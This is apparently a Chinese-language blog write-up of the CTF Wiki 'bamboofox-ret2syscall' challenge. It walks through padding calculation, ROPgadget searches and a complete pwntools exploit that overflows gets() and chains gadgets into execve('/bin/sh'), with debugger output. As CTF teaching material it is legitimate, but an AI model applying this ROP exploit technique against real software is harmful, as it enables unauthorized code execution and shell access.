云计算百科
云计算领域专业知识百科平台

PWN | 对CTF WIKI的复现+再学习 (第三期)

ret2syscall

下载地址:https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/linux/user-mode/stackoverflow/ret2syscall/bamboofox-ret2syscall/rophttps://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/linux/user-mode/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop

bamboofox-ret2syscall

1.checksec+看伪代码

Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

攻击原理:ret2syscall 的本质是 通过缓冲区溢出覆盖返回地址,拼接 Gadget 依次设置系统调用寄存器参数,最终触发系统调用(例子如下)

  • 缓冲区填充:用无用数据(如 A)填充栈上的缓冲区,直到覆盖函数的返回地址(EIP 寄存器对应的栈位置);
  • 设置系统调用号:跳转到 pop eax; ret Gadget,将栈上的 0xb 弹出到 eax 寄存器(设置 execve 调用号);
  • 触发系统调用:跳转到 int 0x80 指令地址,触发系统调用,执行 execve("/bin/sh", NULL, NULL);
  • 获取 shell:系统调用执行后,程序执行流切换到 shell,攻击者获得交互式控制权限。
  • (栈布局示意图)

    高地址
    +———————+
    | 返回地址 4 | ← int 0x80 / syscall地址
    +———————+
    | 参数 6 (ebp/edi) | ← 如果有第6个参数
    +———————+
    | 参数 5 (esi) | ← 如果有第5个参数
    +———————+
    | 参数 4 (ecx) | ← 如果有第4个参数
    +———————+
    | 参数 3 (edx) | ← 如果有第3个参数
    +———————+
    | 参数 2 (ecx/esi) | ← 如果有第2个参数
    +———————+
    | 参数 1 (ebx/rdi) | ← 第一个参数(通常是字符串地址)
    +———————+
    | Gadget 4 | ← pop edx; ret (设置第三个参数)
    +———————+
    | 参数值 3 |
    +———————+
    | Gadget 3 | ← pop ecx; ret (设置第二个参数)
    +———————+
    | 参数值 2 |
    +———————+
    | Gadget 2 | ← pop ebx; ret (设置第一个参数)
    +———————+
    | 参数值 1 |
    +———————+
    | Gadget 1 | ← pop eax; ret (设置系统调用号)
    +———————+
    | 系统调用号 | ← execve=0xb, read=0x3, write=0x4等
    +———————+
    | 缓冲区溢出填充 | ← "A"*offset
    +———————+
    低地址

    (执行流程示意图)

    正常函数返回 →
    ┌─────────────────────────────────────────────────────┐
    │ 被覆盖的返回地址指向第一个ROP gadget │
    │ (pop eax; ret) │
    ├─────────────────────────────────────────────────────┤
    │ 1. pop eax │
    │ – 从栈中弹出系统调用号到eax寄存器 │
    │ 2. ret │
    │ – 返回到栈中下一个地址 (pop ebx; ret) │
    ├─────────────────────────────────────────────────────┤
    │ 3. pop ebx │
    │ – 从栈中弹出第一个参数到ebx寄存器 │
    │ (如"/bin/sh"字符串地址) │
    │ 4. ret │
    │ – 返回到下一个gadget │
    ├─────────────────────────────────────────────────────┤
    │ 5. pop ecx │
    │ – 弹出第二个参数到ecx │
    │ (通常是argv[]数组地址) │
    │ 6. ret │
    │ – 返回到下一个gadget │
    ├─────────────────────────────────────────────────────┤
    │ 7. pop edx │
    │ – 弹出第三个参数到edx │
    │ (通常是envp[]数组地址) │
    │ 8. ret │
    │ – 返回到int 0x80 / syscall地址 │
    ├─────────────────────────────────────────────────────┤
    │ 9. int 0x80 / syscall │
    │ – 执行系统调用 │
    │ – eax=系统调用号 │
    │ – ebx=第一个参数 │
    │ – ecx=第二个参数 │
    │ – edx=第三个参数 │
    └─────────────────────────────────────────────────────┘

    (寄存器示意图)

    执行前: 执行后:
    +———-+——-+ +———-+——-+
    | 寄存器 | 值 | | 寄存器 | 值 |
    +———-+——-+ +———-+——-+
    | eax | 随机 | | eax | 0xb |
    | ebx | 随机 | | ebx | ptr |
    | ecx | 随机 | → | ecx | ptr |
    | edx | 随机 | | edx | ptr |
    | eip | gadget| | eip | 0x80 |
    +———-+——-+ +———-+——-+

    系统调用: execve("/bin/sh", argv[], envp[])

    2.用上期教的方法查看需要填充的padding

    00:0000│ esp 0xffffcdf0 —▸ 0xffffce0c ◂— 'aaaaaaaaaaaaaaaaaaaa'
    01:0004│ 0xffffcdf4 ◂— 0x0
    02:0008│ 0xffffcdf8 ◂— 0x1
    03:000c│ 0xffffcdfc ◂— 0x0
    04:0010│ 0xffffce00 ◂— 0x1
    05:0014│ 0xffffce04 —▸ 0xffffcf04 —▸ 0xffffd10e ◂— '/home/Debug/Desktop/ret2syscall/bamboofox-ret2syscall/rop'
    06:0018│ 0xffffce08 —▸ 0xffffcf0c —▸ 0xffffd148 ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus,guid=1ab5f4d341f177439a071922697f1152'
    07:001c│ 0xffffce0c ◂— 'aaaaaaaaaaaaaaaaaaaa'
    ─────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
    ► f 0 8048ea0 main+124
    f 1 804907a __libc_start_main+458
    ────────────────────────────────────────────────────────────────────────────────────────
    pwndbg> tele 0xffffce0c
    00:0000│ 0xffffce0c ◂— 'aaaaaaaaaaaaaaaaaaaa'
    … ↓
    05:0014│ 0xffffce20 ◂— 0x0
    06:0018│ 0xffffce24 ◂— 0x10
    07:001c│ 0xffffce28 —▸ 0x80e9f44 —▸ 0x80eaea0 (_nl_global_locale) —▸ 0x80c3ae0 (_nl_C_LC_CTYPE) —▸ 0x80d15fc (_nl_C_name) ◂— …
    pwndbg> i r $ebp
    ebp 0xffffce780xffffce78

    padding=0xffffce78-0xffffce0c+ebp所占空间=112

    3.攻击方法

    这里我们是用ret2syscall方法进行攻击,首先找到可用系统调用来获得shell(这里我有点忘了该怎么找来获得不同系统调用号和所需填补的值,有知道的可以在评论区给大家展示一下,这里我们直接就按照wiki里的来)

    https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8

    该程序是 32 位,所以我们需要使得:

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0
  • ROPgadget使用,也可以用ropper

    ROPgadget –binary rop –only 'pop|ret' | grep 'eax'
    0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
    0x080bb196 : pop eax ; ret
    0x0807217a : pop eax ; ret 0x80e
    0x0804f704 : pop eax ; ret 3
    0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

    得到 0x080bb196

    同理得到

    ROPgadget –binary rop –only 'pop|ret' | grep 'ebx'
    0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
    0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
    0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
    0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
    0x080be23f : pop ebx ; pop edi ; ret
    0x0806eb69 : pop ebx ; pop edx ; ret
    0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
    0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
    0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
    0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
    0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
    0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
    0x08048913 : pop ebx ; pop esi ; pop edi ; ret
    0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
    0x08049a94 : pop ebx ; pop esi ; ret
    0x080481c9 : pop ebx ; ret
    0x080d7d3c : pop ebx ; ret 0x6f9
    0x08099c87 : pop ebx ; ret 8
    0x0806eb91 : pop ecx ; pop ebx ; ret
    0x0806336b : pop edi ; pop esi ; pop ebx ; ret
    0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
    0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
    0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
    0x0805c820 : pop esi ; pop ebx ; ret
    0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    0x0807b6ed : pop ss ; pop ebx ; ret

    我们得到 0x0806eb90

    后面两个同理

    ROPgadget –binary rop –string '/bin/sh'
    ROPgadget –binary rop –only 'int'

    4.写出Exp

    #!/usr/bin/env python
    # 【shebang行】指定脚本使用系统默认的Python解释器执行,是Linux脚本的标准开头
    # 该脚本是32位Linux下ret2syscall攻击的ROP脚本,核心目标是通过缓冲区溢出触发execve("/bin/sh")获取shell

    # 导入pwntools库(CTF二进制漏洞利用的核心工具库)
    # 提供进程交互、ROP链构造、数据打包(flat函数)等核心功能
    from pwn import *

    # 1. 启动目标进程,建立与目标程序的交互通道
    # './rop'是目标漏洞程序的路径,sh是进程交互对象(用于发送payload、接收输出、交互shell)
    sh = process('./rop')

    # 2. 定义ret2syscall攻击所需的关键ROP Gadget地址(需提前通过ROPgadget工具从目标程序中提取)
    # Gadget是程序中以ret结尾的短指令片段,是ROP攻击的"积木"
    # 32位Linux下execve("/bin/sh")需要先给寄存器赋值,再触发int 0x80中断

    # (1) pop eax; ret 指令的内存地址
    # 作用:将栈上紧跟的数值弹出到eax寄存器(eax用于存储系统调用号)
    pop_eax_ret = 0x080bb196

    # (2) pop edx; pop ecx; pop ebx; ret 指令的内存地址
    # 作用:依次将栈上的3个数值弹出到edx、ecx、ebx寄存器(这三个寄存器用于存储execve的参数)
    # 注意:pop的顺序和寄存器一一对应,栈上数值顺序需匹配该顺序
    pop_edx_ecx_ebx_ret = 0x0806eb90

    # (3) int 0x80 指令的内存地址
    # 作用:触发Linux系统调用中断,内核会根据eax的值执行对应的系统调用(此处是execve)
    int_0x80 = 0x08049421

    # (4) "/bin/sh"字符串在目标程序内存中的首地址
    # 作用:作为execve的第一个参数(ebx需要指向该地址)
    binsh = 0x80be408

    # 3. 构造缓冲区溢出的payload(核心攻击数据)
    payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
    # flat函数:pwntools的智能打包工具,自动将不同类型数据(字符串、整数)转为32位小端序字节串并拼接
    # payload的构造严格遵循栈布局规则:填充字符 → gadget地址 → 寄存器值 → 下一个gadget地址 → …
    # payload = flat(
    # 第一部分:填充字符(112个'A')
    # 作用:填满栈上的缓冲区,刚好覆盖到漏洞函数的返回地址(EIP)位置
    # 112是通过漏洞调试(如gdb)确定的精准填充长度,少则无法覆盖EIP,多则破坏后续ROP链
    #'A' * 112,

    # 第二部分:设置execve系统调用号(eax=0xb)
    # 第一步:跳转到pop_eax_ret gadget(覆盖原返回地址,程序ret时跳至此)
    #pop_eax_ret,
    # 第二步:栈上的0xb会被pop eax指令写入eax寄存器(0xb是execve的系统调用号,十进制11)
    #0xb,

    # 第三部分:设置execve的三个参数(edx=0, ecx=0, ebx=/bin/sh地址)
    # 第一步:跳转到pop_edx_ecx_ebx_ret gadget(pop eax后的ret指令跳至此)
    #pop_edx_ecx_ebx_ret,
    # 第二步:栈上的0被pop edx写入edx(execve第三个参数:环境变量数组,设为NULL)
    #0,
    # 第三步:栈上的0被pop ecx写入ecx(execve第二个参数:参数数组,设为NULL)
    #0,
    # 第四步:栈上的binsh地址被pop ebx写入ebx(execve第一个参数:指向"/bin/sh")
    #binsh,

    # 第四部分:触发系统调用
    # 跳转到int_0x80指令,此时所有寄存器参数已准备好,内核执行execve("/bin/sh", NULL, NULL)
    #int_0x80
    #)

    # 4. 发送构造好的payload到目标进程
    # sendline会自动添加换行符,确保payload被目标程序的输入函数(如scanf、gets)完整读取
    # 发送后立即触发缓冲区溢出,劫持程序执行流
    sh.sendline(payload)

    # 5. 进入交互式模式,接管目标进程的输入/输出
    # 此时execve("/bin/sh")已执行,程序会弹出shell,该指令让你可以和shell交互(执行ls、cat等命令)
    sh.interactive()

    5.调试过程

    这里直接看寄存器里边是否是我们send进的值(解释不对的地方请在评论区里指出说明,以便让大家一起学习进步)

    以ebx寄存器为例

    发送payload前

    pwndbg> vmmap $ebx
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x8048000 0x80e9000 r-xp a1000 0 /home/Debug/Desktop/ret2syscall/bamboofox-ret2syscall/rop
    0x80e9000 0x80eb000 rw-p 2000 a0000 /home/Debug/Desktop/ret2syscall/bamboofox-ret2syscall/rop
    0x80eb000 0x80ed000 rw-p 2000 0
    0x9bcb000 0x9bed000 rw-p 22000 0 [heap]
    0xf7faf000 0xf7fb0000 rw-p 1000 0
    0xf7fb0000 0xf7fb3000 r–p 3000 0 [vvar]
    0xf7fb3000 0xf7fb5000 r-xp 2000 0 [vdso]
    0xfff11000 0xfff32000 rw-p 21000 0 [stack]

    发送payload后

    pwndbg> vmmap $ebx
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x558e53afc000 0x558e53b18000 r-xp 1c000 0 /bin/dash
    0x558e53d17000 0x558e53d19000 r–p 2000 1b000 /bin/dash
    0x558e53d19000 0x558e53d1a000 rw-p 1000 1d000 /bin/dash
    0x558e53d1a000 0x558e53d1c000 rw-p 2000 0
    0x558e54024000 0x558e54045000 rw-p 21000 0 [heap]
    0x7fe9b2a58000 0x7fe9b2c3f000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fe9b2c3f000 0x7fe9b2e3f000 —p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fe9b2e3f000 0x7fe9b2e43000 r–p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fe9b2e43000 0x7fe9b2e45000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fe9b2e45000 0x7fe9b2e49000 rw-p 4000 0
    0x7fe9b2e49000 0x7fe9b2e72000 r-xp 29000 0 /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fe9b3051000 0x7fe9b3053000 rw-p 2000 0
    0x7fe9b3072000 0x7fe9b3073000 r–p 1000 29000 /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fe9b3073000 0x7fe9b3074000 rw-p 1000 2a000 /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fe9b3074000 0x7fe9b3075000 rw-p 1000 0
    0x7ffded60b000 0x7ffded62c000 rw-p 21000 0 [stack]
    0x7ffded728000 0x7ffded72b000 r–p 3000 0 [vvar]
    0x7ffded72b000 0x7ffded72d000 r-xp 2000 0 [vdso]
    0xffffffffff600000 0xffffffffff601000 –xp 1000 0 [vsyscall]

    由于本人调试能力尚弱,因此这里我只试出来ebx里值的变化,欢迎各位师傅们在评论区里补充


    赞(0)
    未经允许不得转载:网硕互联帮助中心 » PWN | 对CTF WIKI的复现+再学习 (第三期)
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!